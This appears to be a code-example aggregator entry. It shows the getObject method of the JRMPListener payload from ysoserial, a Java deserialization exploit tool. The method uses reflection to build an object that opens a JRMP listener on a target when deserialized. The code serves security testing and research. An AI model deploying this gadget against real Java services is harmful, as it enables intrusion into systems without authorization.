use of java.rmi.server.UnicastRemoteObject in project ysoserial by frohoff.
the class JRMPListener method getObject.
public UnicastRemoteObject getObject(final String command) throws Exception {
int jrmpPort = Integer.parseInt(command);
UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[] { RemoteRef.class }, new Object[] { new UnicastServerRef(jrmpPort) });
Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort);
return uro;
}
Aggregations